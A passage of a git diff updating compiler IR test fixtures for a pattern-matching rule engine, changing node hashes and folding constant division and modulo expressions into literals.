PatternIdx(0) -- hash: 0x5a276c8d75077d2b - 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 171: AND -- hash: 0x3ecfcb2948f8b085 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 1: CONST integer(0) - 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x74dcb64b7ce0ece9 3: CONST integer(0) 4: CONST integer(100) - 8: GT -- hash: 0xe14c02d2ca38c7fe - 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 8: GT -- hash: 0x44c95fcd471519e3 + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 7: CONST integer(0) - 13: GT -- hash: 0x92f8c6f7e54b02b8 - 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 13: GT -- hash: 0x61753658db503b47 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x9ddf9b97d22567db 9: CONST integer(0) 10: CONST integer(100) 12: CONST integer(0) - 16: GT -- hash: 0x2c7be90e3169df71 - 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 16: GT -- hash: 0x8ff94608ae463155 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 15: CONST integer(0) - 20: GT -- hash: 0x8bb5a93875bc3546 - 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 20: GT -- hash: 0xe65184a20c6577f6 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x9e15e83d46ae1205 17: CONST integer(1) 19: CONST integer(0) - 23: GT -- hash: 0x77abcf49989af6e3 - 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 23: GT -- hash: 0xdb292c44157748c7 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0x447aa1ecc21f055 22: CONST integer(0) - 27: GT -- hash: 0xf87b38b95dae2020 - 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 27: GT -- hash: 0x53171422f45762d1 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0xe945ce78addf2977 24: CONST integer(1) 26: CONST integer(0) - 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + 35: FOR_OF -- hash: 0x98951d3aa7b825e9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 34: AND -- hash: 0x3c966b1c6d560e68 - 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 - 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 34: AND -- hash: 0xc62fcdff01e21581 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1ca3d3c031cbc1f7 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 29: CONST integer(0) - 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc0b4487318651284 31: CONST integer(0) 32: CONST integer(100) - 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + 45: FOR_OF -- hash: 0x2dcf42214f0adb18 n: Var { frame_id: 2, ty: integer, index: 0 } i: Var { frame_id: 2, ty: integer, index: 1 } max_count: Var { frame_id: 2, ty: integer, index: 2 } count: Var { frame_id: 2, ty: integer, index: 3 } item: Var { frame_id: 2, ty: integer, index: 4 } - 44: AND -- hash: 0xce850009289685a8 - 38: GT -- hash: 0xadc66c0f48e750e7 - 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 44: AND -- hash: 0x5b69f2e5a934cab0 + 38: GT -- hash: 0x3396f16b468c664f + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xba156fc23d67dd6b 37: CONST integer(0) - 43: GT -- hash: 0x84e68ea465523c78 - 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 43: GT -- hash: 0x73f33c36d9503863 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x9b375f0f12c2ea2e 39: CONST integer(0) 40: CONST integer(100) 42: CONST integer(0) - 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + 54: FOR_OF -- hash: 0x46aff0774053e325 n: Var { frame_id: 3, ty: integer, index: 0 } i: Var { frame_id: 3, ty: integer, index: 1 } max_count: Var { frame_id: 3, ty: integer, index: 2 } count: Var { frame_id: 3, ty: integer, index: 3 } item: Var { frame_id: 3, ty: integer, index: 4 } - 53: AND -- hash: 0xada51cbb798a9af6 - 48: GT -- hash: 0xeeaeb61296e7af4e - 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 53: AND -- hash: 0x837396035edc9cfa + 48: GT -- hash: 0x747f3b6e908cc4b6 + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x57870bc44903f8e0 47: CONST integer(0) - 52: GT -- hash: 0x77ae50bc98adf661 - 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 52: GT -- hash: 0x6b242afb0e1488c + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xc9ac445069c73271 49: CONST integer(1) 51: CONST integer(0) - 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + 63: FOR_OF -- hash: 0x76f0d827a9de17da n: Var { frame_id: 4, ty: integer, index: 0 } i: Var { frame_id: 4, ty: integer, index: 1 } max_count: Var { frame_id: 4, ty: integer, index: 2 } count: Var { frame_id: 4, ty: integer, index: 3 } item: Var { frame_id: 4, ty: integer, index: 4 } - 62: AND -- hash: 0xdde6046be314cfab - 57: GT -- hash: 0x2f970015e0e80db6 - 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 62: AND -- hash: 0xb3b47db3c466d1af + 57: GT -- hash: 0xb5678571de8d231d + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xf4f8a7c654a01454 56: CONST integer(0) - 61: GT -- hash: 0x95f4118d25b93df3 - 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 61: GT -- hash: 0x24f803803dec901e + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xa948e53b7c790d9 58: CONST integer(1) 60: CONST integer(0) - 65: FOR_OF -- hash: 0xe716d23849fe7860 + 65: FOR_OF -- hash: 0xdd6494b88aa85ec3 n: Var { frame_id: 5, ty: integer, index: 0 } i: Var { frame_id: 5, ty: integer, index: 1 } max_count: Var { frame_id: 5, ty: integer, index: 2 } count: Var { frame_id: 5, ty: integer, index: 3 } item: Var { frame_id: 5, ty: integer, index: 4 } - 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c - 68: OF -- hash: 0xd907e19beae11f88 + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xeb2f4297411f6ab2 + 68: OF -- hash: 0x8c1e1f9f8aa8caf2 67: CONST boolean(false) 66: CONST boolean(true) - 69: OF -- hash: 0xc1af08cf16d07e7 - 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + 69: OF -- hash: 0x6d73baab90b32aa6 + 72: FOR_OF -- hash: 0xdc10cb17d7196a9a n: Var { frame_id: 8, ty: integer, index: 0 } i: Var { frame_id: 8, ty: integer, index: 1 } max_count: Var { frame_id: 8, ty: integer, index: 2 } count: Var { frame_id: 8, ty: integer, index: 3 } item: Var { frame_id: 8, ty: integer, index: 4 } 70: CONST integer(1) - 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 - 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc617d5b88c9e293f + 80: FOR_IN -- hash: 0x74b90b103b47568d n: Var { frame_id: 9, ty: integer, index: 0 } i: Var { frame_id: 9, ty: integer, index: 1 } max_count: Var { frame_id: 9, ty: integer, index: 2 } @@ -111,80 +111,76 @@ RULE test item: Var { frame_id: 9, ty: unknown, index: 4 } 73: CONST integer(1) 74: CONST integer(5) - 79: EQ -- hash: 0xe92c004f9190e2ec - 77: ADD -- hash: 0xb9090c9f9899e70f + 79: EQ -- hash: 0x50b9cf8029632927 + 77: ADD -- hash: 0xddc2251161d5a6d 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } 76: CONST integer(1) 78: CONST integer(2) - 84: NE -- hash: 0x92df6290b941eceb + 84: NE -- hash: 0x3a64fff6b0238432 82: CONST integer(-2) 83: CONST integer(0) - 89: EQ -- hash: 0x2772eae3cc6605b3 + 89: EQ -- hash: 0xcef88849c7479cf9 87: CONST integer(0) 88: CONST integer(0) - 94: EQ -- hash: 0xe620d6a4866ed47d + 94: EQ -- hash: 0x8da6740a7d506bc4 92: CONST integer(3) 93: CONST integer(3) - 99: EQ -- hash: 0xe620d6a4866ed47d + 99: EQ -- hash: 0x8da6740a7d506bc4 97: CONST integer(3) 98: CONST integer(3) - 102: LT -- hash: 0xc2cd260920d8212b + 102: LT -- hash: 0x6a52c36f1bb9b872 100: CONST integer(-1) 101: CONST integer(0) - 107: EQ -- hash: 0x513c32b99dc13a3a + 107: EQ -- hash: 0xf8c1d01f94a2d180 105: CONST integer(2) 106: CONST integer(2) - 112: EQ -- hash: 0xa4cec2653c77a348 + 112: EQ -- hash: 0x4c545fcb37593a8f 110: CONST integer(6) 111: CONST integer(6) - 117: EQ -- hash: 0x37b6700f88d99369 - 115: DIV -- hash: 0xe3d346244ff8cc57 - 113: CONST integer(6) - 114: CONST integer(2) + 117: EQ -- hash: 0x8da6740a7d506bc4 + 115: CONST integer(3) 116: CONST integer(3) - 122: EQ -- hash: 0x1a81b6c621408d88 - 120: MOD -- hash: 0x3b6ad7150dbd77e8 - 118: CONST integer(5) - 119: CONST integer(2) + 122: EQ -- hash: 0x63dd2c34aff5373d + 120: CONST integer(1) 121: CONST integer(1) - 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 127: EQ -- hash: 0x228b17f565fe0608 125: CONST integer(4) 126: CONST integer(4) - 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 132: EQ -- hash: 0x228b17f565fe0608 130: CONST integer(4) 131: CONST integer(4) - 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 135: CONTAINS -- hash: 0xe9d671366ebd2d23 133: CONST string("foo") 134: CONST string("f") - 138: ICONTAINS -- hash: 0x377f84bcc413903b + 138: ICONTAINS -- hash: 0xbb462e252da406dd 136: CONST string("foo") 137: CONST string("F") - 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 141: STARTS_WITH -- hash: 0x569c00b756af17fe 139: CONST string("foo") 140: CONST string("f") - 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 144: ISTARTS_WITH -- hash: 0x280bbda61595f1b8 142: CONST string("foo") 143: CONST string("F") - 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 147: ENDS_WITH -- hash: 0x335913468af5c6a2 145: CONST string("foo") 146: CONST string("o") - 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 150: IENDS_WITH -- hash: 0x7be69a9c6a8ba43c 148: CONST string("foo") 149: CONST string("O") - 153: IEQUALS -- hash: 0x59f750b89300b823 + 153: IEQUALS -- hash: 0xddbdfa20f8912ec5 151: CONST string("foo") 152: CONST string("FOO") - 157: CONTAINS -- hash: 0x69900714c5de042c + 157: CONTAINS -- hash: 0xed56b07d2f6e7ace 154: CONST string("foo") 156: CONST string("foo") - 161: DEFINED -- hash: 0xc649804070cd56ad - 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 161: DEFINED -- hash: 0x39a53e5e7355f955 + 160: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } - 170: EQ -- hash: 0xc86bbac0d41a5b9c - 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 166: LOOKUP -- hash: 0xb7e6fdca077aa568 - 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 170: EQ -- hash: 0xbf648f4fbd345cc9 + 168: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 166: LOOKUP -- hash: 0x22797314e0747ac6 + 164: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 165: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/15.hoisting.ir b/lib/src/compiler/ir/tests/testdata/15.hoisting.ir index ce8858d26..c306d5ff3 100644 --- a/lib/src/compiler/ir/tests/testdata/15.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/15.hoisting.ir @@ -1,109 +1,109 @@ RULE test - 171: AND -- hash: 0x550720c3956843bf - 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b - 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 171: AND -- hash: 0x3ecfcb2948f8b085 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 1: CONST integer(0) - 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x74dcb64b7ce0ece9 3: CONST integer(0) 4: CONST integer(100) - 8: GT -- hash: 0xe14c02d2ca38c7fe - 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 8: GT -- hash: 0x44c95fcd471519e3 + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 7: CONST integer(0) - 13: GT -- hash: 0x92f8c6f7e54b02b8 - 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 13: GT -- hash: 0x61753658db503b47 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x9ddf9b97d22567db 9: CONST integer(0) 10: CONST integer(100) 12: CONST integer(0) - 16: GT -- hash: 0x2c7be90e3169df71 - 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 16: GT -- hash: 0x8ff94608ae463155 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 15: CONST integer(0) - 20: GT -- hash: 0x8bb5a93875bc3546 - 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 20: GT -- hash: 0xe65184a20c6577f6 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x9e15e83d46ae1205 17: CONST integer(1) 19: CONST integer(0) - 23: GT -- hash: 0x77abcf49989af6e3 - 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 23: GT -- hash: 0xdb292c44157748c7 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0x447aa1ecc21f055 22: CONST integer(0) - 27: GT -- hash: 0xf87b38b95dae2020 - 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 27: GT -- hash: 0x53171422f45762d1 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0xe945ce78addf2977 24: CONST integer(1) 26: CONST integer(0) - 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + 35: FOR_OF -- hash: 0x98951d3aa7b825e9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 34: AND -- hash: 0x3c966b1c6d560e68 - 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 - 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 34: AND -- hash: 0xc62fcdff01e21581 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1ca3d3c031cbc1f7 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 29: CONST integer(0) - 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc0b4487318651284 31: CONST integer(0) 32: CONST integer(100) - 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + 45: FOR_OF -- hash: 0x2dcf42214f0adb18 n: Var { frame_id: 2, ty: integer, index: 0 } i: Var { frame_id: 2, ty: integer, index: 1 } max_count: Var { frame_id: 2, ty: integer, index: 2 } count: Var { frame_id: 2, ty: integer, index: 3 } item: Var { frame_id: 2, ty: integer, index: 4 } - 44: AND -- hash: 0xce850009289685a8 - 38: GT -- hash: 0xadc66c0f48e750e7 - 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 44: AND -- hash: 0x5b69f2e5a934cab0 + 38: GT -- hash: 0x3396f16b468c664f + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xba156fc23d67dd6b 37: CONST integer(0) - 43: GT -- hash: 0x84e68ea465523c78 - 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 43: GT -- hash: 0x73f33c36d9503863 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x9b375f0f12c2ea2e 39: CONST integer(0) 40: CONST integer(100) 42: CONST integer(0) - 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + 54: FOR_OF -- hash: 0x46aff0774053e325 n: Var { frame_id: 3, ty: integer, index: 0 } i: Var { frame_id: 3, ty: integer, index: 1 } max_count: Var { frame_id: 3, ty: integer, index: 2 } count: Var { frame_id: 3, ty: integer, index: 3 } item: Var { frame_id: 3, ty: integer, index: 4 } - 53: AND -- hash: 0xada51cbb798a9af6 - 48: GT -- hash: 0xeeaeb61296e7af4e - 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 53: AND -- hash: 0x837396035edc9cfa + 48: GT -- hash: 0x747f3b6e908cc4b6 + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x57870bc44903f8e0 47: CONST integer(0) - 52: GT -- hash: 0x77ae50bc98adf661 - 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 52: GT -- hash: 0x6b242afb0e1488c + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xc9ac445069c73271 49: CONST integer(1) 51: CONST integer(0) - 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + 63: FOR_OF -- hash: 0x76f0d827a9de17da n: Var { frame_id: 4, ty: integer, index: 0 } i: Var { frame_id: 4, ty: integer, index: 1 } max_count: Var { frame_id: 4, ty: integer, index: 2 } count: Var { frame_id: 4, ty: integer, index: 3 } item: Var { frame_id: 4, ty: integer, index: 4 } - 62: AND -- hash: 0xdde6046be314cfab - 57: GT -- hash: 0x2f970015e0e80db6 - 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 62: AND -- hash: 0xb3b47db3c466d1af + 57: GT -- hash: 0xb5678571de8d231d + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xf4f8a7c654a01454 56: CONST integer(0) - 61: GT -- hash: 0x95f4118d25b93df3 - 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 61: GT -- hash: 0x24f803803dec901e + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xa948e53b7c790d9 58: CONST integer(1) 60: CONST integer(0) - 65: FOR_OF -- hash: 0xe716d23849fe7860 + 65: FOR_OF -- hash: 0xdd6494b88aa85ec3 n: Var { frame_id: 5, ty: integer, index: 0 } i: Var { frame_id: 5, ty: integer, index: 1 } max_count: Var { frame_id: 5, ty: integer, index: 2 } count: Var { frame_id: 5, ty: integer, index: 3 } item: Var { frame_id: 5, ty: integer, index: 4 } - 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c - 68: OF -- hash: 0xd907e19beae11f88 + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xeb2f4297411f6ab2 + 68: OF -- hash: 0x8c1e1f9f8aa8caf2 67: CONST boolean(false) 66: CONST boolean(true) - 69: OF -- hash: 0xc1af08cf16d07e7 - 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + 69: OF -- hash: 0x6d73baab90b32aa6 + 72: FOR_OF -- hash: 0xdc10cb17d7196a9a n: Var { frame_id: 8, ty: integer, index: 0 } i: Var { frame_id: 8, ty: integer, index: 1 } max_count: Var { frame_id: 8, ty: integer, index: 2 } count: Var { frame_id: 8, ty: integer, index: 3 } item: Var { frame_id: 8, ty: integer, index: 4 } 70: CONST integer(1) - 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 - 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc617d5b88c9e293f + 80: FOR_IN -- hash: 0x74b90b103b47568d n: Var { frame_id: 9, ty: integer, index: 0 } i: Var { frame_id: 9, ty: integer, index: 1 } max_count: Var { frame_id: 9, ty: integer, index: 2 } @@ -111,80 +111,76 @@ RULE test item: Var { frame_id: 9, ty: unknown, index: 4 } 73: CONST integer(1) 74: CONST integer(5) - 79: EQ -- hash: 0xe92c004f9190e2ec - 77: ADD -- hash: 0xb9090c9f9899e70f + 79: EQ -- hash: 0x50b9cf8029632927 + 77: ADD -- hash: 0xddc2251161d5a6d 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } 76: CONST integer(1) 78: CONST integer(2) - 84: NE -- hash: 0x92df6290b941eceb + 84: NE -- hash: 0x3a64fff6b0238432 82: CONST integer(-2) 83: CONST integer(0) - 89: EQ -- hash: 0x2772eae3cc6605b3 + 89: EQ -- hash: 0xcef88849c7479cf9 87: CONST integer(0) 88: CONST integer(0) - 94: EQ -- hash: 0xe620d6a4866ed47d + 94: EQ -- hash: 0x8da6740a7d506bc4 92: CONST integer(3) 93: CONST integer(3) - 99: EQ -- hash: 0xe620d6a4866ed47d + 99: EQ -- hash: 0x8da6740a7d506bc4 97: CONST integer(3) 98: CONST integer(3) - 102: LT -- hash: 0xc2cd260920d8212b + 102: LT -- hash: 0x6a52c36f1bb9b872 100: CONST integer(-1) 101: CONST integer(0) - 107: EQ -- hash: 0x513c32b99dc13a3a + 107: EQ -- hash: 0xf8c1d01f94a2d180 105: CONST integer(2) 106: CONST integer(2) - 112: EQ -- hash: 0xa4cec2653c77a348 + 112: EQ -- hash: 0x4c545fcb37593a8f 110: CONST integer(6) 111: CONST integer(6) - 117: EQ -- hash: 0x37b6700f88d99369 - 115: DIV -- hash: 0xe3d346244ff8cc57 - 113: CONST integer(6) - 114: CONST integer(2) + 117: EQ -- hash: 0x8da6740a7d506bc4 + 115: CONST integer(3) 116: CONST integer(3) - 122: EQ -- hash: 0x1a81b6c621408d88 - 120: MOD -- hash: 0x3b6ad7150dbd77e8 - 118: CONST integer(5) - 119: CONST integer(2) + 122: EQ -- hash: 0x63dd2c34aff5373d + 120: CONST integer(1) 121: CONST integer(1) - 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 127: EQ -- hash: 0x228b17f565fe0608 125: CONST integer(4) 126: CONST integer(4) - 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 132: EQ -- hash: 0x228b17f565fe0608 130: CONST integer(4) 131: CONST integer(4) - 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 135: CONTAINS -- hash: 0xe9d671366ebd2d23 133: CONST string("foo") 134: CONST string("f") - 138: ICONTAINS -- hash: 0x377f84bcc413903b + 138: ICONTAINS -- hash: 0xbb462e252da406dd 136: CONST string("foo") 137: CONST string("F") - 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 141: STARTS_WITH -- hash: 0x569c00b756af17fe 139: CONST string("foo") 140: CONST string("f") - 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 144: ISTARTS_WITH -- hash: 0x280bbda61595f1b8 142: CONST string("foo") 143: CONST string("F") - 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 147: ENDS_WITH -- hash: 0x335913468af5c6a2 145: CONST string("foo") 146: CONST string("o") - 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 150: IENDS_WITH -- hash: 0x7be69a9c6a8ba43c 148: CONST string("foo") 149: CONST string("O") - 153: IEQUALS -- hash: 0x59f750b89300b823 + 153: IEQUALS -- hash: 0xddbdfa20f8912ec5 151: CONST string("foo") 152: CONST string("FOO") - 157: CONTAINS -- hash: 0x69900714c5de042c + 157: CONTAINS -- hash: 0xed56b07d2f6e7ace 154: CONST string("foo") 156: CONST string("foo") - 161: DEFINED -- hash: 0xc649804070cd56ad - 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 161: DEFINED -- hash: 0x39a53e5e7355f955 + 160: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } - 170: EQ -- hash: 0xc86bbac0d41a5b9c - 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 166: LOOKUP -- hash: 0xb7e6fdca077aa568 - 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 170: EQ -- hash: 0xbf648f4fbd345cc9 + 168: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 166: LOOKUP -- hash: 0x22797314e0747ac6 + 164: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 165: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/15.ir b/lib/src/compiler/ir/tests/testdata/15.ir index ce8858d26..c306d5ff3 100644 